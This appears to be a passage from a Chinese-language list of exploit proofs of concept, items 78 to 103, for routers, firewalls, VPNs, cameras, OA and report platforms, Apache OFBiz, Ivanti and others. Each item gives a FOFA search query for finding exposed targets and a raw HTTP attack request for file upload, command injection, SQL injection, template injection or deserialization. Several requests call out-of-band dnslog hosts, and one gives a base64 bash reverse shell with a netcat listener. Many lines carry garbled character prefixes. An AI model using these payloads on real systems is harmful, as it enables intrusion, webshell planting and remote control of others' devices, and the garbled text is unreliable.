------------398jnjVTTlDVXHlE7yYnfwBoix
& I; a, U  Q* F% E; s4 gContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
% l3 L5 Z) ^" x$ r$ WContent-Type: application/octet-stream
& N7 t# D- a0 y/ Y$ e
( t5 z9 B( M  X( b4 X3 _. yhello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
7 L' ^# y: C) J: QContent-Disposition: form-data; name="Upload"
' m7 _5 }- K) S
9 ]& y2 a9 F- H# jSubmit Query
4 R& {, ]" U6 Q& @------------398jnjVTTlDVXHlE7yYnfwBoix--
8 l; d- M  z# C9 G$ T

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
, d) N& S7 K1 }1 ZFOFA：icon_hash="2001627082"
0 Q' t) `- Y4 E# }* vPOST /Platform/System/FileUpload.ashx HTTP/1.1
3 q! Q6 x4 z8 l  T' d+ ZHost: x.x.x.x
0 N" C, t2 j8 ~: X4 o8 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
2 S3 X, h$ Z: v' s, A1 f( Z7 C
9 M$ K$ ?: j8 X) M$ _------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
& P( c$ C3 K6 v& gContent-Type: image/png

' C' F( g3 U5 K& b- ^* iYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
& t$ l  H6 D3 W
/Applications/SkillDevelopAndEHS/
8 A! f# D. @+ O; }- O------YsOxWxSvj1KyZow1PTsh98fdu6l--
# y2 w/ W: E8 c! N: b& [
2 p: c+ t3 |  J- W: C( x6 Y
& q. D$ @" d2 V) ]GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


" a5 n$ j5 `5 y7 E- @79. BYTEVALUE 百为流控路由器远程命令执行
* U  _1 U* ^. W/ X0 Q, c. O) @FOFA：BYTEVALUE 智能流控路由器
  R- _  b/ q, O) dGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
2 n3 }$ M6 k, Q/ x9 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 H0 P" Z# {  t: J3 ]" @. bConnection: close
Upgrade-Insecure-Requests: 1
) W( _5 t; \. ~. n" B

9 X6 E3 U7 _# _+ Y: f80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
1 T3 L, z+ l$ A6 }) E5 C& X0 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
& X/ X0 s3 B+ n! }( qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- f7 x' H4 e( ?# p! d3 dConnection: close
% d& c* m' T" j5 @0 AContent-Type: application/octet-stream
& \+ P! V0 q1 S  x, V8 {Upgrade-Insecure-Requests: 1

8 j- y2 p$ f) [. ~<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  |1 q6 G! x/ D: q3 B+ d+ gConnection: close
% r( U8 f, t; C9 {Accept-Encoding: gzip


( v) U9 Y! [0 @( g81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
% {6 S, {& S: C' l* G3 EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
+ a% L- b$ w0 c- |3 pAccept-Encoding: gzip

) c- m* l+ A+ V7 C" e7 k
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
6 G' K7 K- ]  Q5 [3 y3 O% y6 o% xFOFA：app="思福迪-LOGBASE"
8 W3 t5 Y' h; A. rPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
( ^) k% b$ j$ c6 uUser-Agent: Go-http-client/1.1
Content-Length: 23
7 t$ W, s0 ]' A! \% {5 w9 M/ h) mAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
; w! Y5 p% _+ `! o; k" @' f

83. JeecgBoot testConnection 远程命令执行
5 N/ P$ B  X! Q' Z% J  K& [FOFA：title=="JeecgBoot 企业级低代码平台"
1 l2 `4 D3 E2 }2 J, g- B; R

, A* y; Z( ?& }$ e/ V5 TPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. |9 r. k4 N7 ?1 z/ Y0 j* ]6 t) iContent-Length: 8881
6 b& `! O% p2 M6 ~3 Q- l/ \1 aAccept-Encoding: gzip
) t0 m- q$ I% B2 ~Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
; s% z, w) B) Y% MContent-Type: application/json

4 X: \, g" {+ |: v7 P9 ]( [  W" NPAYLOAD

( S( L+ w7 @7 E$ ?2 V. ?84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
  R* C6 p7 p: J$ b7 B1 s1 ^) C

/ d8 Y/ X7 _, k: z. [6 c
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
) i( Q* t0 P1 C/ f# HHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
4 y7 i5 P  L2 g3 n  c$ [1 CContent-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
  N/ e% P7 ]: C( O0 j5 G9 KAccept-Encoding: gzip
: z+ l: S5 G8 ~# M
; Z* b; E3 f4 s% d) [{
2 W4 g7 l5 u, U "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
6 l  R. @3 u: @, v

85. SysAid On-premise< 23.3.36远程代码执行
9 o# Z2 ^, J1 a, c% F( dCVE-2023-47246
8 r, w, z# D0 [; R3 jFOFA：body="sysaid-logo-dark-green.png"
( Y/ j$ O; x/ ^/ p; E4 G) s* aEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
2 K4 Q( ~6 x, g( A6 O- hAccept-Encoding: gzip

PAYLOAD
7 e9 y3 R% k1 I6 m1 G, h1 T: o
' H6 @; E9 q% u0 Z回显URL：http://x.x.x.x/userfiles/index.jsp

( G" P) k( F. ]* n0 z86. 日本tosei自助洗衣机RCE
; x# h* P& }. g" @6 mFOFA：body="tosei_login_check.php"
! @: g. ]( C  l& `& P- d) SPOST /cgi-bin/network_test.php HTTP/1.1
  @' I# [2 P* Z% D; ?! D2 t$ EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
( F7 ]- K, M7 f1 H( b& m7 MAccept-Encoding: gzip
! W( C3 m% B* B$ ]Accept-Language: en
. }4 ^( B2 D/ y- @Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
7 m* ^8 O& b1 ~( B6 V: S% E

87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
# G8 i$ J8 F* F4 i( C/ hPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
+ n: W( k- _7 F. uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ Z( _1 x" @# Z* a) AConnection: close
Content-Length: 198
Accept-Encoding: gzip
& M& h, T% R$ b' \8 M( gContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

5 ~3 B7 ?+ _2 ?6 M7 L$ m* P--qqobiandqgawlxodfiisporjwravxtvd
) V+ i8 E2 T8 D6 a% lContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
3 w" [9 t" s# L- @Content-Type: text/plain
; O3 ?% y, Z$ W5 I3 V: z
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


/jfhatuwe.php

$ ]3 w+ T3 f9 Y( ?, h6 d88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
. M. O) ^. q* c0 z9 `8 ZGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
9 P: `6 C& _" `Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: @& F: L. s: E6 D$ @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

2 P6 c- Z/ N0 f/ E) p9 v7 E! S
/astdfkhl.php

  `3 p( t& b8 b7 C$ T; T89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
6 G$ c& _" S8 Y! \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 l) ]( A' L; g, K- \' A8 UContent-Length: 41
+ ?7 f6 ?$ w% \Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
, Z; ~* ]( {4 |5 V# o8 T
/ _& b) k8 z  [& g" B  Ioption=2&GUID=-1'+union+select+111*222--+

: H4 m6 S% A0 Z/ J5 |* J9 k) H  [
) P9 l. }; |" v( N1 Z( Z/ e90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
/ M9 @/ J/ p& ~: S) v7 r% JFOFA：icon_hash="-1830859634"
  }! E7 U/ K5 R# K; \8 R) U) _7 YPOST /php/ping.php HTTP/1.1
% h' Y; {% [( R# m' @% M6 _8 Y, uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
$ }# ~0 C7 M  Q  EContent-Length: 51
: e1 X, i9 l6 O$ C; w+ ]Accept: application/json, text/javascript, */*; q=0.01
  j5 H/ ~0 [1 v7 SAccept-Encoding: gzip, deflate
1 {7 R2 X3 U% V: I7 {" yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! y8 O' F0 k. r4 c9 NConnection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
- M2 ~' M  U% F7 _/ v
0 P6 a7 U9 f; bjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

) J* q5 |* v+ e! V3 _% g) O
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
" ^) G5 H" ?7 i; e/ ^* ?0 }/ K7 ?FOFA：title="综合安防管理平台"
) u  `8 Z! z. vGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
$ }/ O+ E  v) ?$ W* b" e/ AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
6 K2 D* z- y7 Z' i; J, mAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive



92. 海康威视运行管理中心session命令执行
Fastjson命令执行
7 u% F2 D, n: ahunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
: Z; u5 f) h4 ?7 m) JPOST /center/api/session HTTP/1.1
Host:
+ }4 a" y) P, K0 fAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
5 q8 d, T+ q4 c% n. E  HX-Requested-With: XMLHttpRequest
9 b2 t  b/ Y( R: V; t; A2 WContent-Type: application/json;charset=UTF-8
* a6 ?  b+ ]  h$ j1 N; TX-Language-Type: zh_CN
Testcmd: echo test
" m) B2 |  x- S( [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 s, E" L/ G( @: S8 b' xAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
: T) h& n! ~4 p6 X' [4 t  V
7 c2 Z5 o4 p) R  w* ZPAYLOAD
! |# z/ z9 F% A/ r* X

) |3 w/ ?' k8 }' L# E93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
4 ^# j; t$ b, p) [  QFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
3 U$ x" Q' l+ [9 A( H# [: CHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% r1 m% ~$ @) C& `; c# Y, \' w( ^
% V) m: N0 ?; x, y------WebKitFormBoundarykcbkgdfx
. J2 X/ x6 g4 }& x, x+ PContent-Disposition: form-data; name="MAX_FILE_SIZE"

/ Y, A' x% k4 H10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
5 g) i! _$ B; q9 M  LContent-Type: text/plain
7 T0 e4 q8 x# z) L, Z4 g7 }4 q+ n
) P& v0 S( Z, R2 ?4 Bwagletqrkwrddkthtulxsqrphulnknxa
" Z# C# \9 N6 m6 K# C' N* h! g+ ~------WebKitFormBoundarykcbkgdfx
+ a7 J7 |$ o  N! }2 C8 g% d+ n% RContent-Disposition: form-data; name="submit_post"
- I/ f2 `; F' M6 R6 b% t
obj_app_upfile
% v! o+ w, H, Z) x: I  o------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
; c3 o7 s) N6 j$ G" y) ?1 {
* N; R- N) u* R: O6 @$ @5 T4 J0b9d6b1ab7479ab69d9f71b05e0e9445
# `  m" {: v# x' W! n------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
8 l* J' z$ e+ ]( M8 E0 R6 {User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
  E8 s+ i7 {# x, KPOST /?g=obj_area_import_save HTTP/1.1
3 r# X" M+ S0 ]0 l& m& r: WHost: x.x.x.x
% f4 E9 R# r7 e* x5 p' j" \) NContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

& c; X) a, j3 W4 X* h------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
  {$ ~! k! @8 }2 f, w" r1 K
  m$ @% x7 C, g10000000
6 C% o- c0 F2 j- x------WebKitFormBoundarybqvzqvmt
$ ?3 m: w8 c& ]4 tContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

  J% J" h0 C. dpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
/ x" m# j  I& _" ^Content-Disposition: form-data; name="submit_post"

obj_app_upfile
' y1 {1 K/ p" z% p* S; D------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

& C9 m. U, A8 {! N0b9d6b1ab7479ab69d9f71b05e0e9445
+ {& v' \& I, d3 |) z# Y2 m2 I------WebKitFormBoundarybqvzqvmt--
3 d3 ~) [% e& m5 O- M


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
  H) l2 v# P. |7 ~User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 z2 \  ?. l8 l) m  c
5 G/ Q+ @0 Y1 Q: _

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
! o6 {9 D3 v/ S9 m9 g- t" j* wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
9 G. `: I3 l2 a0 z6 l: IContent-Length: 889
' n. z3 Z: A9 oContent-Type: application/xml
Accept-Encoding: gzip

7 w# y; p! C' M9 J0 g<?xml version="1.0"?>
7 |1 {; W1 `! D2 K' H" R<methodCall>
) ?4 T  d( q5 O$ e   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
8 N5 y# x' B( ]- `      <param>
      <value>
        <struct>
       <member>
          <name>test</name>
. D; U+ t* d' P          <value>
" y3 v5 o1 a) W      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
; D. ~, u5 P8 U3 y* Q! i' q          </value>
$ u- T! O6 \, T- H) R: L6 h        </member>
6 w. Q0 b9 A" Y: G& E' I" v      </struct>
      </value>
    </param>
. u7 Q/ v3 `! n) n3 T3 H    </params>
; T* h, Z6 z$ Z1 L</methodCall>
+ v9 ~0 D, u$ L* n$ M/ X2 g

用ysoserial生成payload
% K3 x, E: P7 Z( F/ l/ P* f  S: qjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


" ^" `5 ^8 w4 E3 \2 n( L7 I) q将生成的payload替换到上面的POC
/ k$ Y" Z" d9 V* t( l5 d- YPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
2 z9 J, F! T& r5 z1 MHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 l: w" j- L+ Q, sConnection: close
Content-Length: 889
% E8 F$ e5 i' Y; H+ N8 MContent-Type: application/xml
% R7 j" r; f! U% w' Q  m! qAccept-Encoding: gzip

! U$ n& \& c  n- M# uPAYLOAD

- |/ _. g5 z7 a4 e4 l8 I. y96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
" V/ V! L. M. ~! k$ mPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
( ]7 l$ h8 w0 x$ g! U! SHost: localhost:8443
' }$ A4 @) M" Q7 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
2 K: p. e- B9 X% H1 {4 L0 p, _Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' Q$ r0 d& f+ ?/ T6 NContent-Type: application/x-www-form-urlencoded
Content-Length: 55

$ Q; R/ K4 C  JgroovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
% X1 n) S4 ~$ v0 a在kali上启动一个监听
$ H6 Y8 c% X" T0 b0 Bnc -lvp 7777
6 O8 b  _: R; S" P
( q- h9 m; Y0 F$ U# f5 ?POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
) h/ j# V& y. v2 q, E: U9 ?Host: 192.168.40.130:8443
1 j0 l7 V3 h' `( h6 R0 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
5 \: y( v* S% q' w' hAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; I3 M. u2 y. |. n3 p  _( S. M; eContent-Type: application/x-www-form-urlencoded
Content-Length: 71

4 O/ t" h( ~6 }) ^: o4 [. _% D6 tgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
  H! L+ {2 v; w% M& J
  G4 D4 Y) T. V* A97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
* D; x6 t7 c8 n6 p) s6 w$ YFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
+ M$ Z3 B$ g& i; KHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
8 i& R9 F, h1 B2 _0 v# }7 UX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

- a) a# Q  V! j( T8 g3 v; s
! V; d0 H! n1 {6 q  N98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
' S* l3 S6 |) X& d; ^6 D' \* j4 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
  E, J- w3 y* W! L! TContent-Length: 121
- m2 ?$ Z0 v- sAccept: */*
Accept-Encoding: gzip, deflate
+ l: j' z  q! k% ?5 B2 F* `4 ?+ {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 Q% Z; q# ], }3 [: K& sContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

& F+ J7 K4 C. S- L* t3 ?  K( A, C: mid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

: }3 G- M2 E8 q: Y1 T
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
0 N3 H3 t( \, LFOFA：app="Ncast-产品" && title=="高清智能录播系统"
& S3 d: T7 N/ d% aPOST /classes/common/busiFacade.php HTTP/1.1
4 C' N$ {) v  P$ ]% d8 _; p5 i: r! ^Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
( I0 H' p. B# E* mContent-Length: 154
4 f$ a( M- g/ j, K6 uAccept: */*
# K4 e) r4 e% a, SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
* I9 O+ o4 M, [( ]8 pX-Requested-With: XMLHttpRequest
- _. X# ^0 ]/ i" N
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

& v& t" g  U4 j' O' M6 U$ o
: V1 h5 q0 u6 f8 b/ b100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
" x- [* F! v) }/ bFOFA：icon_hash="874152924"
, O+ n7 ?# S! W' g* K/ P3 _% cPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
* m6 U: D5 ]1 H! w/ h7 o, pConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
3 j% k) u5 j( O! kAccept-Encoding: gzip

) H2 A7 ]1 l  e7 i: Q------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
# h! k+ E0 q$ P2 j0 C. Z6 j" FContent-Type: application/x-php
; J+ d2 w. O0 a. B
2ayyhRXiAsKXL8olvF5s4qqyI2O
4 m) G8 a. ?4 R8 F- ^------WebKitFormBoundarygcflwtei--
! m4 T, P. c" L+ t9 \
0 X. l; V; z6 x
1 N# X  f) |$ k4 j/ D101. ivanti policy secure-22.6命令注入
2 ?4 |8 Q3 K  D4 g1 kCVE-2024-21887
5 y  l1 E0 X+ s% @1 u/ vFOFA：body="welcome.cgi?p=logo"
, c2 J0 N/ B0 [% T/ iGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
2 A7 F+ T) V4 e3 nHost: x.x.x.xx.x.x.x
! o2 b) ?: ~) E2 S! l, m- MUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
4 e7 b( \4 s0 s: CAccept-Encoding: gzip
6 ?4 o. D% I5 q

' i* M5 \0 [5 V102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
6 i" p0 e! Q9 XCVE-2024-21893
. _0 F& S$ C! o/ c! W5 W4 j9 XFOFA：body="welcome.cgi?p=logo"
  h: k1 y& T, T7 CPOST /dana-ws/saml20.ws HTTP/1.1
  P9 v! r0 }4 ?4 z% T) G+ K/ nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
+ s2 T7 z7 a* ~6 Q* C
* U, Z& w# L' R% p% u# Z103. Ivanti Pulse Connect Secure VPN XXE
6 H1 M3 n+ g# A! N" s- S& M8 s# TCVE-2024-22024
- v5 }% n* l3 l7 I+ n% |FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
3 n, y4 Q) I2 j8 |) kHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
5 c# m6 |& K2 k+ M8 Z; fContent-Length: 204
Content-Type: application/x-www-form-urlencoded
% Q) c2 @: R1 Z/ `0 r' PAccept-Encoding: gzip

